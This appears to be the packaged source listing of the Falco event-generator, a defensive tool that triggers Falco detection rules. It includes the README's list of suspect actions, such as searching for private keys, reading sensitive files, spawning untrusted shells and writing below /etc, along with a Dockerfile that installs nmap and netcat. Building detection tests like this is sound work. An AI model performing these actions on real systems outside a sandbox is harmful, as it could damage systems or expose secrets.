File falco-event-generator-0.12.0.obscpio of Package falco-event-generator
07070100000000000081A400000000000000000000000166F189F100000043000000000000000000000000000000000000002B00000000falco-event-generator-0.12.0/.dockerignoreevent-generator
dist/
events/k8saudit/yaml/bundle.go
evtgen-docgen
07070100000001000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002500000000falco-event-generator-0.12.0/.github07070100000002000081A400000000000000000000000166F189F100000572000000000000000000000000000000000000003E00000000falco-event-generator-0.12.0/.github/PULL_REQUEST_TEMPLATE.md<!-- Thanks for sending a pull request! Here are some tips for you:
1. If this is your first time, please read our contributor guidelines in the [CONTRIBUTING.md](https://github.com/falcosecurity/.github/blob/main/CONTRIBUTING.md) file.
2. Please label this pull request according to what type of issue you are addressing.
3. Please add a release note: it's really useful for the changelog!
4. If the PR is unfinished while opening it specify a wip in the title before the actual title, for example, "wip: my awesome feature"
-->
**What type of PR is this?**
> Uncomment one (or more) `/kind <>` lines:
> /kind bug
> /kind cleanup
> /kind documentation
> /kind tests
> /kind feature
<!--
Please remove the leading whitespace before the `/kind <>` you uncommented.
-->
**Any specific area of the project related to this PR?**
> Uncomment one (or more) `/area <>` lines:
> /area commands
> /area pkg
> /area events
<!--
Please remove the leading whitespace before the `/area <>` you uncommented.
-->
**What this PR does / why we need it**:
**Which issue(s) this PR fixes**:
<!--
Automatically closes linked issue when PR is merged.
Usage: `Fixes #<issue number>`, or `Fixes (paste link of issue)`.
If PR is `kind/failing-tests` or `kind/flaky-test`, please post the related issues/tests in a comment and do not use `Fixes`.
-->
Fixes #
**Special notes for your reviewer**:
07070100000003000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002F00000000falco-event-generator-0.12.0/.github/workflows07070100000004000081A400000000000000000000000166F189F100000226000000000000000000000000000000000000003700000000falco-event-generator-0.12.0/.github/workflows/ci.yamlname: CI build
on:
pull_request:
jobs:
build-and-test:
name: build-and-test-${{ matrix.arch }}
runs-on: ${{ (matrix.arch == 'arm64' && 'actuated-arm64-8cpu-16gb') || 'ubuntu-22.04' }}
strategy:
matrix:
arch: [amd64, arm64]
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
- name: Setup Go
uses: actions/setup-go@v3
with:
go-version: 1.23.1
- name: Build
run: make build
- name: Test
run: make test
07070100000005000081A400000000000000000000000166F189F1000003CC000000000000000000000000000000000000003C00000000falco-event-generator-0.12.0/.github/workflows/release.yamlname: Release
on:
push:
tags:
- "v[0-9]+.[0-9]+.[0-9]+"
jobs:
release:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v3
with:
fetch-depth: 0
- name: Login to Docker Hub
uses: docker/login-action@v1
with:
username: ${{ secrets.DOCKERHUB_USER }}
password: ${{ secrets.DOCKERHUB_SECRET }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v2
with:
platforms: "amd64,arm64"
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v2
- name: Setup Go
uses: actions/setup-go@v3
with:
go-version: 1.23.1
- name: Run GoReleaser
uses: goreleaser/goreleaser-action@v3
with:
distribution: goreleaser
version: v1.10.3
args: release --rm-dist --timeout 60m
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
07070100000006000081A400000000000000000000000166F189F100000043000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/.gitignoreevent-generator
evtgen-docgen
dist/
events/k8saudit/yaml/bundle.go
07070100000007000081A400000000000000000000000166F189F100000854000000000000000000000000000000000000002D00000000falco-event-generator-0.12.0/.goreleaser.ymlproject_name: event-generator
before:
hooks:
- make prepare
builds:
- id: "event-generator"
goos:
- linux
goarch:
- amd64
- arm64
main: .
flags:
- -buildmode=pie
env:
- CGO_ENABLED=0
binary: event-generator
dockers:
- use: buildx
goos: linux
goarch: amd64
dockerfile: Dockerfile
image_templates:
- "falcosecurity/event-generator:latest-amd64"
- "falcosecurity/event-generator:{{ .Version }}-amd64"
build_flag_templates:
- "--pull"
- "--label=org.opencontainers.image.created={{.Date}}"
- "--label=org.opencontainers.image.name={{.ProjectName}}"
- "--label=org.opencontainers.image.revision={{.FullCommit}}"
- "--label=org.opencontainers.image.version={{.Version}}"
extra_files:
- .git
- cmd
- pkg
- events
- tools
- go.mod
- go.sum
- main.go
- Makefile
- use: buildx
goos: linux
goarch: arm64
dockerfile: Dockerfile
image_templates:
- "falcosecurity/event-generator:latest-arm64v8"
- "falcosecurity/event-generator:{{ .Version }}-arm64v8"
build_flag_templates:
- "--platform=linux/arm64/v8"
- "--pull"
- "--label=org.opencontainers.image.created={{.Date}}"
- "--label=org.opencontainers.image.name={{.ProjectName}}"
- "--label=org.opencontainers.image.revision={{.FullCommit}}"
- "--label=org.opencontainers.image.version={{.Version}}"
extra_files:
- .git
- cmd
- pkg
- events
- tools
- go.mod
- go.sum
- main.go
- Makefile
docker_manifests:
# https://goreleaser.com/customization/docker_manifest/
- name_template: falcosecurity/event-generator:{{ .Version }}
image_templates:
- falcosecurity/event-generator:{{ .Version }}-amd64
- falcosecurity/event-generator:{{ .Version }}-arm64v8
- name_template: falcosecurity/event-generator:latest
image_templates:
- falcosecurity/event-generator:latest-amd64
- falcosecurity/event-generator:latest-arm64v8
release:
github:
prerelease: auto
07070100000008000081A400000000000000000000000166F189F10000018E000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/DockerfileFROM golang:1.23.1-alpine3.20 AS builder
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
RUN apk add --no-cache make bash
WORKDIR /event-generator
COPY . .
RUN make
FROM alpine:3.20
RUN apk add --no-cache sudo polkit libcap e2fsprogs-extra openssh nmap netcat-openbsd wget curl
COPY --from=builder /event-generator/event-generator /bin/event-generator
ENTRYPOINT ["/bin/event-generator"]
07070100000009000081A400000000000000000000000166F189F100002C5D000000000000000000000000000000000000002500000000falco-event-generator-0.12.0/LICENSE Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
0707010000000A000081A400000000000000000000000166F189F1000009A0000000000000000000000000000000000000002600000000falco-event-generator-0.12.0/Makefile# SPDX-License-Identifier: Apache-2.0
#
# Copyright (C) 2023 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
SHELL=/bin/bash -o pipefail
GO ?= go
DOCKER ?= docker
COMMIT_NO := $(shell git rev-parse HEAD 2> /dev/null || true)
GIT_COMMIT := $(if $(shell git status --porcelain --untracked-files=no),${COMMIT_NO}-dirty,${COMMIT_NO})
GIT_BRANCH ?= $(shell git rev-parse --abbrev-ref HEAD 2>/dev/null)
GIT_BRANCH_CLEAN := $(shell echo $(GIT_BRANCH) | sed -e "s/[^[:alnum:]]/-/g")
VERSION = $(shell git describe --tags)
CLIENTGO_VERSION := $(shell grep 'k8s.io/client-go' go.mod | cut -dv -f2)
IMAGE_NAME ?= docker.io/falcosecurity/event-generator
IMAGE_NAME_BRANCH := $(IMAGE_NAME):$(GIT_BRANCH_CLEAN)
IMAGE_NAME_COMMIT := $(IMAGE_NAME):$(GIT_COMMIT)
LDFLAGS = -X k8s.io/client-go/pkg/version.gitCommit=v$(CLIENTGO_VERSION) \
-X k8s.io/client-go/pkg/version.gitVersion=$(VERSION)
TEST_FLAGS ?= -v -race
main ?= .
output ?= event-generator
docgen ?= evtgen-docgen
.PHONY: build
build: prepare ${output}
.PHONY: prepare
prepare: clean events/k8saudit/yaml/bundle.go
.PHONY: ${output}
${output}:
CGO_ENABLED=0 $(GO) build -buildmode=pie -buildvcs=false -ldflags "$(LDFLAGS)" -o $@ ${main}
.PHONY: clean
clean:
$(RM) -R ${output}
$(RM) events/k8saudit/yaml/bundle.go
$(RM) -R ${output} ${docgen}
.PHONY: test
test: events/k8saudit/yaml/bundle.go
$(GO) vet ./...
$(GO) test ${TEST_FLAGS} ./...
events/k8saudit/yaml/bundle.go: events/k8saudit/yaml events/k8saudit/yaml/*.yaml
$(GO) run ./tools/file-bundler/ $<
.PHONY: ${docgen}
${docgen}: ${PWD}/tools/docgen/docgen.go
$(GO) build -buildvcs=false -v -o $@ $^
.PHONY: docs
docs: ${docgen}
$(RM) -R docs/*
@mkdir -p docs
${PWD}/${docgen}
.PHONY: image
image:
$(DOCKER) build \
-t "$(IMAGE_NAME_BRANCH)" \
-f Dockerfile .
$(DOCKER) tag "$(IMAGE_NAME_BRANCH)" "$(IMAGE_NAME_COMMIT)"
.PHONY: push
push:
$(DOCKER) push "$(IMAGE_NAME_BRANCH)"
$(DOCKER) push "$(IMAGE_NAME_COMMIT)"
0707010000000B000081A400000000000000000000000166F189F100000068000000000000000000000000000000000000002400000000falco-event-generator-0.12.0/OWNERSapprovers:
- leogr
- fededp
- alacuku
emeritus_approvers:
- leodido
- fntlnz
- kris-nova
0707010000000C000081A400000000000000000000000166F189F100002C6D000000000000000000000000000000000000002700000000falco-event-generator-0.12.0/README.md
# event-generator
[](https://github.com/falcosecurity/evolution/blob/main/REPOSITORIES.md#ecosystem-scope) [](https://github.com/falcosecurity/evolution/blob/main/REPOSITORIES.md#incubating)
[](https://github.com/falcosecurity/event-generator/releases/latest)
[](LICENSE)
[](https://goreportcard.com/report/github.com/falcosecurity/event-generator)
[](https://hub.docker.com/r/falcosecurity/event-generator)

Generate a variety of suspect actions that are detected by Falco rulesets.
**Warning** — We strongly recommend that you run the program within Docker (see below), since some commands might alter your system.
For example, some actions modify files and directories below /bin, /etc, /dev, etc.
Make sure you fully understand what is the purpose of this tool before running any action.
**Notice** — From version `v0.11.0` the `event-generator` requires Falco 0.37.0 or newer. Previous versions of the `event-generator` might be compatible with older versions of Falco, however, we do not guarantee it.
## Usage
The full command line documentation is [here](./docs/event-generator.md).
### List actions
```shell
$ event-generator list --all
helper.ExecLs
helper.NetworkActivity
helper.RunShell
k8saudit.ClusterRoleWithPodExecCreated
k8saudit.ClusterRoleWithWildcardCreated
k8saudit.ClusterRoleWithWritePrivilegesCreated
k8saudit.CreateDisallowedPod
k8saudit.CreateHostNetworkPod
k8saudit.CreateModifyConfigmapWithPrivateCredentials
k8saudit.CreateNodePortService
k8saudit.CreatePrivilegedPod
k8saudit.CreateSensitiveMountPod
k8saudit.K8SConfigMapCreated
k8saudit.K8SDeploymentCreated
k8saudit.K8SServiceCreated
k8saudit.K8SServiceaccountCreated
syscall.ChangeThreadNamespace
syscall.CreateFilesBelowDev
syscall.CreateSymlinkOverSensitiveFiles
syscall.DbProgramSpawnedProcess
syscall.DirectoryTraversalMonitoredFileRead
syscall.MkdirBinaryDirs
syscall.ModifyBinaryDirs
syscall.NonSudoSetuid
syscall.ReadSensitiveFileTrustedAfterStartup
syscall.ReadSensitiveFileUntrusted
syscall.RunShellUntrusted
syscall.ScheduleCronJobs
syscall.SearchPrivateKeysOrPasswords
syscall.SystemProcsNetworkActivity
syscall.SystemUserInteractive
syscall.UserMgmtBinaries
syscall.WriteBelowBinaryDir
syscall.WriteBelowEtc
syscall.WriteBelowRpmDatabase
```
### Run actions
```
event-generator run [regexp]
```
Without arguments, it runs all actions; otherwise, only those actions match the given regular expression.
For example, to run only those actions containing the word `Files` in their name:
```shell
$ sudo event-generator run syscall\.\*Files\.\*
INFO sleep for 100ms action=syscall.ReadSensitiveFileUntrusted
INFO action executed action=syscall.ReadSensitiveFileUntrusted
INFO sleep for 100ms action=syscall.CreateSymlinkOverSensitiveFiles
INFO action executed action=syscall.CreateSymlinkOverSensitiveFiles
INFO sleep for 100ms action=syscall.DirectoryTraversalMonitoredFileRead
INFO action executed action=syscall.DirectoryTraversalMonitoredFileRead
INFO sleep for 100ms action=syscall.ReadSensitiveFileTrustedAfterStartup
INFO spawn as "httpd" action=syscall.ReadSensitiveFileTrustedAfterStartup args="^syscall.ReadSensitiveFileUntrusted$ --sleep 6s"
INFO sleep for 6s action=syscall.ReadSensitiveFileUntrusted as=httpd
INFO action executed action=syscall.ReadSensitiveFileUntrusted as=httpd
```
Useful options:
- `--loop` to run actions in a loop
- `--sleep` to set the length of time to wait before running an action (default to `100ms`)
Also, note that not all actions are enabled by default. To run all actions, use the `--all` option.
Further options are documented [here](./docs/event-generator_run.md).
#### With Docker
Run all events with the Docker image locally:
```shell
docker run -it --rm falcosecurity/event-generator run
```
#### With Kubernetes
It can be deployed in a Kubernetes cluster using the event-generator [helm chart](https://github.com/falcosecurity/charts/tree/master/charts/event-generator).
Before installing the chart, add the `falcosecurity` charts repository:
```bash
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
```
Run all events once using a Kubernetes job:
```shell
helm install event-generator falcosecurity/event-generator \
--namespace event-generator \
--create-namespace \
--set config.loop=false \
--set config.actions=""
```
Run all events in a loop using a Kubernetes deployment:
```bash
helm install event-generator falcosecurity/event-generator \
--namespace event-generator \
--create-namespace \
--set config.actions=""
```
**N.B.**
The above commands apply to the `event-generator` namespace. Use a different name to use a different namespace. It will generate events in the same namespace.
## Collections
### Generate System Call activity
The `syscall` collection performs a variety of suspect actions detected by the [default Falco ruleset](https://github.com/falcosecurity/rules/tree/main/rules).
```shell
$ docker run -it --rm falcosecurity/event-generator run syscall --loop
```
The above command loops forever, incessantly generating a sample event every 100 miliseconds.
### Generate activity for the k8s audit rules
The `k8saudit` collection generates activity that matches the [k8s audit event ruleset](https://github.com/falcosecurity/plugins/blob/master/plugins/k8saudit/rules/k8s_audit_rules.yaml).
Note that all `k8saudit` are disabled by default. To enable them, use the `--all` option.
```shell
$ event-generator run k8saudit --all --loop --namespace `falco-eg-sandbox`
```
> N.B.: the namespace must exist already.
The above command loops forever, creating resources in the `falco-eg-sandbox` namespace and deleting the after each iteration.
**N.B.**
- the namespace must already exist
- to produce any effect the Kubernetes audit log must be enabled, see [here](https://falco.org/docs/event-sources/kubernetes-audit/)
## Test rules
Since `v0.4.0`, this tool introduces a convenient integration test suite for Falco rules. The `event-generator test` command can run actions and test them against a running Falco instance.
> This feature requires Falco 0.24.0 or newer. Before using the command below, you need [Falco installed](https://falco.org/docs/installation/) and running with the [gRPC Output](https://falco.org/docs/grpc/) enabled.
#### Test locally (`syscall` only)
Run the following command to test `syscall` actions on a local Falco instance (connects via Unix socket to `/run/falco/falco.sock` by default):
```shell
sudo ./event-generator test syscall
```
#### Test on Kubernetes
Before running the following commands make sure you have added the `falcosecurity` charts repository as explained [here](#with-kubernetes).
Test all events once using a Kubernetes job:
```shell
helm install event-generator falcosecurity/event-generator \
--namespace event-generator \
--create-namespace \
--set config.command=test \
--set config.loop=false \
--set config.actions=""
```
Test all events in a loop using a Kubernetes deployment:
```bash
helm install event-generator falcosecurity/event-generator \
--namespace event-generator \
--create-namespace \
--set config.command=test \
--set config.actions=""
```
Note that to test `k8saudit` events, you need _Kubernetes Audit Log_ functionality enabled in Kubernetes and the [k8saudit plugin](https://github.com/falcosecurity/plugins/tree/master/plugins/k8saudit) in Falco.
## Benchmark
Since `v0.5.0`, the `event-generator` can also be used for benchmarking a running instance of Falco. The command `event-generator bench` generates a high number of Event Per Second (EPS) to show you events throughput allowed by your Falco installation.
Be aware that before Falco 0.37 a rate-limiter for notifications that affects the gRPC Outputs APIs was present. You probably need to increase the `outputs.rate` and `outputs.max_burst` values [within the Falco configuration](https://github.com/falcosecurity/falco/blob/e2bf87d207a32401da271835e15dadf957f68e8c/falco.yaml#L90-L104), otherwise EPS will be rate-limited by the throttling mechanism.
### Run a benchmark
Before starting a benchmark, the most important thing to understand is that the `--sleep` option controls the number of EPS (default to `250ms`): reducing this value will increase the EPS. Furthermore, if the `--loop` option is set, the sleeping duration is automatically halved on each round. The `--pid` option can be used to monitor the Falco process.
> You can find more details about the command-line usage [here](docs/event-generator_bench.md).
Please, keep in mind that not all actions can be used for benchmarking since some of them take too long to generate a high number of EPS. For example, `k8saudit` actions are not supposed to work, since those actions need some time to create Kubernetes resources. Also, some `syscall` actions sleep for a while (like the [syscall.ReadSensitiveFileUntrusted](https://github.com/falcosecurity/event-generator/blob/7bf714aab8da5a3f6d930225f04852e97d682dac/events/syscall/read_sensitive_file_trusted_after_startup.go#L10)) thus cannot be used.
**Benchmark example**
A common way for benchmarking a local Falco instance is by running the following command (that connects via Unix socket to `/run/falco/falco.sock` by default):
```shell
sudo event-generator bench "ChangeThreadNamespace|ReadSensitiveFileUntrusted" --all --loop --sleep 10ms --pid $(pidof -s falco)
```
## FAQ
### What sample events can this tool generate?
See the [events registry](https://github.com/falcosecurity/event-generator/tree/main/events).
### Can I contribute by adding new events?
Sure!
Check out the [events registry](https://github.com/falcosecurity/event-generator/tree/main/events) conventions, then feel free to open a PR!
Your contribution is highly appreciated.
### Can I use this project as a library?
This project provides three main packages that can be imported and used separately:
- `/cmd` contains the CLI implementation
- `/events` contains the events registry
- `/pkg/runner` contains the actions runner implementations
Feel free to use them as you like on your projects.
## Acknowledgments
Special thanks to Mark Stemm (**@mstemm**) — the author of the [first event generator](https://github.com/falcosecurity/falco/tree/2126616529e7015ff88653b7491dc1937d7e54e5/docker/event-generator).
0707010000000D000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002100000000falco-event-generator-0.12.0/cmd0707010000000E000081A400000000000000000000000166F189F100000F77000000000000000000000000000000000000002A00000000falco-event-generator-0.12.0/cmd/bench.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package cmd
import (
"errors"
"time"
"github.com/falcosecurity/event-generator/pkg/counter"
"github.com/falcosecurity/event-generator/pkg/runner"
logger "github.com/sirupsen/logrus"
"github.com/spf13/cobra"
)
var errRoundDurationMustBeLongerThanSleep = errors.New("--round-duration must be longer than --sleep")
// NewBench instantiates the bench subcommand.
func NewBench() *cobra.Command {
c, runEWithOpts := newRunTemplate()
c.Use = "bench [regexp]"
c.Short = "Benchmark for Falco"
c.Long = `Benchmark a running Falco instance.
This command generates a high number of Event Per Second (EPS), to test the events throughput allowed by Falco.
The number of EPS is controlled by the "--sleep" option: reduce the sleeping duration to increase the EPS.
If the "--loop" option is set, the sleeping duration is halved on each round.
The "--pid" option can be used to monitor the Falco process.
N.B.:
- the Falco gRPC Output must be enabled to use this command
- "outputs.rate" and "outputs.max_burst" values within the Falco configuration must be increased,
otherwise EPS will be rate-limited by the throttling mechanism
- since not all actions can be used for benchmarking,
only those actions matching the given regular expression are used
One commmon way to use this command is as following:
event-generator bench "ChangeThreadNamespace|ReadSensitiveFileUntrusted" --all --loop --sleep 10ms --pid $(pidof -s falco)
` + runWarningMessage
c.Args = cobra.ExactArgs(1)
flags := c.Flags()
var pid int
flags.IntVar(&pid, "pid", 0, "A process PID to monitor while benchmarking (e.g. the falco process)")
var roundDuration time.Duration
flags.DurationVar(&roundDuration, "round-duration", time.Second*5, "Duration of a benchmark round")
var pollingTimeout time.Duration
flags.DurationVar(&pollingTimeout, "polling-interval", time.Millisecond*100, "Duration of gRPC APIs polling timeout")
var humanize bool
flags.BoolVar(&humanize, "humanize", true, "Humanize values when printing statistics")
var dryRun bool
flags.BoolVar(&dryRun, "dry-run", false, "Do not connect to Falco gRPC API")
grpcCfg := grpcFlags(flags)
l := logger.StandardLogger()
c.RunE = func(c *cobra.Command, args []string) error {
evts, err := parseEventsArg(args[0])
if err != nil {
return err
}
loop, err := flags.GetBool("loop")
if err != nil {
return err
}
sleep, err := flags.GetDuration("sleep")
if err != nil {
return err
}
if roundDuration <= sleep {
return errRoundDurationMustBeLongerThanSleep
}
opts := append([]counter.Option(nil),
counter.WithActions(evts),
counter.WithLogger(l),
counter.WithLoop(loop),
counter.WithSleep(sleep),
counter.WithRoundDuration(roundDuration),
counter.WithPollingTimeout(pollingTimeout),
counter.WithHumanize(humanize),
counter.WithDryRun(dryRun),
)
if pid != 0 {
opts = append(opts, counter.WithPid(pid))
}
p, err := counter.New(c.Context(), grpcCfg, opts...)
if err != nil {
return err
}
return runEWithOpts(c, args,
runner.WithPlugin(p),
// override runner options:
runner.WithQuiet(true), // reduce runner verbosity
runner.WithSleep(time.Duration(0)), // no sleep, since sleeping will be controlled by the plugin
runner.WithLoop(true), // always loop
)
}
return c
}
0707010000000F000081A400000000000000000000000166F189F10000077E000000000000000000000000000000000000002B00000000falco-event-generator-0.12.0/cmd/common.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package cmd
import (
"fmt"
"regexp"
"github.com/falcosecurity/client-go/pkg/client"
"github.com/falcosecurity/event-generator/events"
"github.com/spf13/pflag"
)
func parseEventsArg(arg string) (map[string]events.Action, error) {
reg, err := regexp.Compile(arg)
if err != nil {
return nil, err
}
evts := events.ByRegexp(reg)
if len(evts) == 0 {
return nil, fmt.Errorf(`no events matching '%s'`, arg)
}
return evts, nil
}
func grpcFlags(flags *pflag.FlagSet) *client.Config {
grpcCfg := &client.Config{}
flags.StringVar(&grpcCfg.UnixSocketPath, "grpc-unix-socket", "unix:///run/falco/falco.sock", "Unix socket path for connecting to a Falco gRPC server")
flags.StringVar(&grpcCfg.Hostname, "grpc-hostname", "localhost", "Hostname for connecting to a Falco gRPC server")
flags.Uint16Var(&grpcCfg.Port, "grpc-port", 5060, "Port for connecting to a Falco gRPC server")
flags.StringVar(&grpcCfg.CertFile, "grpc-cert", "/etc/falco/certs/client.crt", "Cert file path for connecting to a Falco gRPC server")
flags.StringVar(&grpcCfg.KeyFile, "grpc-key", "/etc/falco/certs/client.key", "Key file path for connecting to a Falco gRPC server")
flags.StringVar(&grpcCfg.CARootFile, "grpc-ca", "/etc/falco/certs/ca.crt", "CA root file path for connecting to a Falco gRPC server")
return grpcCfg
}
07070100000010000081A400000000000000000000000166F189F100000707000000000000000000000000000000000000003300000000falco-event-generator-0.12.0/cmd/config_options.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package cmd
import (
"errors"
"github.com/creasty/defaults"
"github.com/falcosecurity/event-generator/cmd/internal/validate"
